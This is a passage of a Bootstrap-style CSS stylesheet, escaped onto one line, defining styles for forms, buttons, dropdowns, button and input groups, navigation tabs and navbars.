.checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n margin-top: 0;\n margin-bottom: 0;\n padding-top: 7px;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n min-height: 27px;\n}\n.form-horizontal .form-group {\n margin-left: -15px;\n margin-right: -15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .control-label {\n text-align: right;\n margin-bottom: 0;\n padding-top: 7px;\n }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n right: 15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-lg .control-label {\n padding-top: 11px;\n font-size: 18px;\n }\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-sm .control-label {\n padding-top: 6px;\n font-size: 12px;\n }\n}\n.btn {\n display: inline-block;\n margin-bottom: 0;\n font-weight: normal;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none;\n border: 1px solid transparent;\n white-space: nowrap;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n border-radius: 4px;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n color: #333;\n text-decoration: none;\n}\n.btn:active,\n.btn.active {\n outline: 0;\n background-image: none;\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n cursor: not-allowed;\n opacity: 0.65;\n filter: alpha(opacity=65);\n -webkit-box-shadow: none;\n box-shadow: none;\n}\na.btn.disabled,\nfieldset[disabled] a.btn {\n pointer-events: none;\n}\n.btn-default {\n color: #333;\n background-color: #fff;\n border-color: #ccc;\n}\n.btn-default:focus,\n.btn-default.focus {\n color: #333;\n background-color: #e6e6e6;\n border-color: #8c8c8c;\n}\n.btn-default:hover {\n color: #333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n color: #333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active:hover,\n.btn-default.active:hover,\n.open > .dropdown-toggle.btn-default:hover,\n.btn-default:active:focus,\n.btn-default.active:focus,\n.open > .dropdown-toggle.btn-default:focus,\n.btn-default:active.focus,\n.btn-default.active.focus,\n.open > .dropdown-toggle.btn-default.focus {\n color: #333;\n background-color: #d4d4d4;\n border-color: #8c8c8c;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n background-image: none;\n}\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus {\n background-color: #fff;\n border-color: #ccc;\n}\n.btn-default .badge {\n color: #fff;\n background-color: #333;\n}\n.btn-primary {\n color: #fff;\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary:focus,\n.btn-primary.focus {\n color: #fff;\n background-color: #286090;\n border-color: #122b40;\n}\n.btn-primary:hover {\n color: #fff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n color: #fff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active:hover,\n.btn-primary.active:hover,\n.open > .dropdown-toggle.btn-primary:hover,\n.btn-primary:active:focus,\n.btn-primary.active:focus,\n.open > .dropdown-toggle.btn-primary:focus,\n.btn-primary:active.focus,\n.btn-primary.active.focus,\n.open > .dropdown-toggle.btn-primary.focus {\n color: #fff;\n background-color: #204d74;\n border-color: #122b40;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n background-image: none;\n}\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus {\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.btn-success {\n color: #fff;\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success:focus,\n.btn-success.focus {\n color: #fff;\n background-color: #449d44;\n border-color: #255625;\n}\n.btn-success:hover {\n color: #fff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n color: #fff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active:hover,\n.btn-success.active:hover,\n.open > .dropdown-toggle.btn-success:hover,\n.btn-success:active:focus,\n.btn-success.active:focus,\n.open > .dropdown-toggle.btn-success:focus,\n.btn-success:active.focus,\n.btn-success.active.focus,\n.open > .dropdown-toggle.btn-success.focus {\n color: #fff;\n background-color: #398439;\n border-color: #255625;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n background-image: none;\n}\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus {\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success .badge {\n color: #5cb85c;\n background-color: #fff;\n}\n.btn-info {\n color: #fff;\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info:focus,\n.btn-info.focus {\n color: #fff;\n background-color: #31b0d5;\n border-color: #1b6d85;\n}\n.btn-info:hover {\n color: #fff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n color: #fff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active:hover,\n.btn-info.active:hover,\n.open > .dropdown-toggle.btn-info:hover,\n.btn-info:active:focus,\n.btn-info.active:focus,\n.open > .dropdown-toggle.btn-info:focus,\n.btn-info:active.focus,\n.btn-info.active.focus,\n.open > .dropdown-toggle.btn-info.focus {\n color: #fff;\n background-color: #269abc;\n border-color: #1b6d85;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n background-image: none;\n}\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus {\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info .badge {\n color: #5bc0de;\n background-color: #fff;\n}\n.btn-warning {\n color: #fff;\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning:focus,\n.btn-warning.focus {\n color: #fff;\n background-color: #ec971f;\n border-color: #985f0d;\n}\n.btn-warning:hover {\n color: #fff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n color: #fff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active:hover,\n.btn-warning.active:hover,\n.open > .dropdown-toggle.btn-warning:hover,\n.btn-warning:active:focus,\n.btn-warning.active:focus,\n.open > .dropdown-toggle.btn-warning:focus,\n.btn-warning:active.focus,\n.btn-warning.active.focus,\n.open > .dropdown-toggle.btn-warning.focus {\n color: #fff;\n background-color: #d58512;\n border-color: #985f0d;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n background-image: none;\n}\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus {\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning .badge {\n color: #f0ad4e;\n background-color: #fff;\n}\n.btn-danger {\n color: #fff;\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger:focus,\n.btn-danger.focus {\n color: #fff;\n background-color: #c9302c;\n border-color: #761c19;\n}\n.btn-danger:hover {\n color: #fff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n color: #fff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active:hover,\n.btn-danger.active:hover,\n.open > .dropdown-toggle.btn-danger:hover,\n.btn-danger:active:focus,\n.btn-danger.active:focus,\n.open > .dropdown-toggle.btn-danger:focus,\n.btn-danger:active.focus,\n.btn-danger.active.focus,\n.open > .dropdown-toggle.btn-danger.focus {\n color: #fff;\n background-color: #ac2925;\n border-color: #761c19;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n background-image: none;\n}\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus {\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger .badge {\n color: #d9534f;\n background-color: #fff;\n}\n.btn-link {\n color: #337ab7;\n font-weight: normal;\n border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n background-color: transparent;\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n color: #23527c;\n text-decoration: underline;\n background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n color: #777777;\n text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n padding: 1px 5px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-block {\n display: block;\n width: 100%;\n}\n.btn-block + .btn-block {\n margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n width: 100%;\n}\n.fade {\n opacity: 0;\n -webkit-transition: opacity 0.15s linear;\n -o-transition: opacity 0.15s linear;\n transition: opacity 0.15s linear;\n}\n.fade.in {\n opacity: 1;\n}\n.collapse {\n display: none;\n}\n.collapse.in {\n display: block;\n}\ntr.collapse.in {\n display: table-row;\n}\ntbody.collapse.in {\n display: table-row-group;\n}\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n -webkit-transition-property: height, visibility;\n transition-property: height, visibility;\n -webkit-transition-duration: 0.35s;\n transition-duration: 0.35s;\n -webkit-transition-timing-function: ease;\n transition-timing-function: ease;\n}\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: 4px dashed;\n border-top: 4px solid \\9;\n border-right: 4px solid transparent;\n border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n position: relative;\n}\n.dropdown-toggle:focus {\n outline: 0;\n}\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: 1000;\n display: none;\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0;\n list-style: none;\n font-size: 14px;\n text-align: left;\n background-color: #fff;\n border: 1px solid #ccc;\n border: 1px solid rgba(0, 0, 0, 0.15);\n border-radius: 4px;\n -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n background-clip: padding-box;\n}\n.dropdown-menu.pull-right {\n right: 0;\n left: auto;\n}\n.dropdown-menu .divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: 1.42857143;\n color: #333333;\n white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n text-decoration: none;\n color: #262626;\n background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n color: #fff;\n text-decoration: none;\n outline: 0;\n background-color: #337ab7;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n color: #777777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none;\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n cursor: not-allowed;\n}\n.open > .dropdown-menu {\n display: block;\n}\n.open > a {\n outline: 0;\n}\n.dropdown-menu-right {\n left: auto;\n right: 0;\n}\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: 12px;\n line-height: 1.42857143;\n color: #777777;\n white-space: nowrap;\n}\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: 990;\n}\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n border-top: 0;\n border-bottom: 4px dashed;\n border-bottom: 4px solid \\9;\n content: \"\";\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n .navbar-right .dropdown-menu {\n left: auto;\n right: 0;\n }\n .navbar-right .dropdown-menu-left {\n left: 0;\n right: auto;\n }\n}\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n position: relative;\n float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n margin-left: -1px;\n}\n.btn-toolbar {\n margin-left: -5px;\n}\n.btn-toolbar .btn,\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n.btn-group > .btn:first-child {\n margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n.btn-group.open .dropdown-toggle {\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn .caret {\n margin-left: 0;\n}\n.btn-lg .caret {\n border-width: 5px 5px 0;\n border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n}\n.input-group {\n position: relative;\n display: table;\n border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n}\n.input-group .form-control {\n position: relative;\n z-index: 2;\n float: left;\n width: 100%;\n margin-bottom: 0;\n}\n.input-group .form-control:focus {\n z-index: 3;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle;\n}\n.input-group-addon {\n padding: 6px 12px;\n font-size: 14px;\n font-weight: normal;\n line-height: 1;\n color: #555555;\n text-align: center;\n background-color: #eeeeee;\n border: 1px solid #ccc;\n border-radius: 4px;\n}\n.input-group-addon.input-sm {\n padding: 5px 10px;\n font-size: 12px;\n border-radius: 3px;\n}\n.input-group-addon.input-lg {\n padding: 10px 16px;\n font-size: 18px;\n border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n.input-group-btn {\n position: relative;\n font-size: 0;\n white-space: nowrap;\n}\n.input-group-btn > .btn {\n position: relative;\n}\n.input-group-btn > .btn + .btn {\n margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n z-index: 2;\n margin-left: -1px;\n}\n.nav {\n margin-bottom: 0;\n padding-left: 0;\n list-style: none;\n}\n.nav > li {\n position: relative;\n display: block;\n}\n.nav > li > a {\n position: relative;\n display: block;\n padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.nav > li.disabled > a {\n color: #777777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n color: #777777;\n text-decoration: none;\n background-color: transparent;\n cursor: not-allowed;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n background-color: #eeeeee;\n border-color: #337ab7;\n}\n.nav .nav-divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.nav > li > a > img {\n max-width: none;\n}\n.nav-tabs {\n border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n float: left;\n margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n margin-right: 2px;\n line-height: 1.42857143;\n border: 1px solid transparent;\n border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n border-color: #eeeeee #eeeeee #ddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n color: #555555;\n background-color: #fff;\n border: 1px solid #ddd;\n border-bottom-color: transparent;\n cursor: default;\n}\n.nav-tabs.nav-justified {\n width: 100%;\n border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n float: none;\n}\n.nav-tabs.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-tabs.nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs.nav-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li > a {\n border-bottom: 1px solid #ddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs.nav-justified > .active > a,\n .nav-tabs.nav-justified > .active > a:hover,\n .nav-tabs.nav-justified > .active > a:focus {\n border-bottom-color: #fff;\n }\n}\n.nav-pills > li {\n float: left;\n}\n.nav-pills > li > a {\n border-radius: 4px;\n}\n.nav-pills > li + li {\n margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n color: #fff;\n background-color: #337ab7;\n}\n.nav-stacked > li {\n float: none;\n}\n.nav-stacked > li + li {\n margin-top: 2px;\n margin-left: 0;\n}\n.nav-justified {\n width: 100%;\n}\n.nav-justified > li {\n float: none;\n}\n.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs-justified {\n border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n .nav-tabs-justified > li > a {\n border-bottom: 1px solid #ddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs-justified > .active > a,\n .nav-tabs-justified > .active > a:hover,\n .nav-tabs-justified > .active > a:focus {\n border-bottom-color: #fff;\n }\n}\n.tab-content > .tab-pane {\n display: none;\n}\n.tab-content > .active {\n display: block;\n}\n.nav-tabs .dropdown-menu {\n margin-top: -1px;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar {\n position: relative;\n min-height: 50px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n .navbar {\n border-radius: 4px;\n }\n}\n@media (min-width: 768px) {\n .navbar-header {\n float: left;\n }\n}\n.navbar-collapse {\n overflow-x: visible;\n padding-right: 15px;\n padding-left: 15px;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);\n -webkit-overflow-scrolling: touch;\n}\n.navbar-collapse.in {\n overflow-y: auto;\n}\n@media (min-width: 768px) {\n .navbar-collapse {\n width: auto;\n border-top: 0;\n box-shadow: none;\n }\n .navbar-collapse.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0;\n overflow: visible !important;\n }\n .navbar-collapse.in {\n overflow-y: visible;\n }\n .navbar-fixed-top .navbar-collapse,\n .navbar-static-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n padding-left: 0;\n padding-right: 0;\n }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n .navbar-fixed-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n max-height: 200px;\n }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n margin-right: -15px;\n margin-left: -15px;\n}\n@media (min-width: 768px) {\n .container > .navbar-header,\n .container-fluid > .navbar-header,\n .container > .navbar-collapse,\n .container-fluid > .navbar-collapse {\n margin-right: 0;\n margin-left: 0;\n }\n}\n.navbar-static-top {\n z-index: 1000;\n border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n .navbar-static-top {\n border-radius: 0;\n }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: 1030;\n}\n@media (min-width: 768px) {\n .navbar-fixed-top,\n .navbar-fixed-bottom {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n 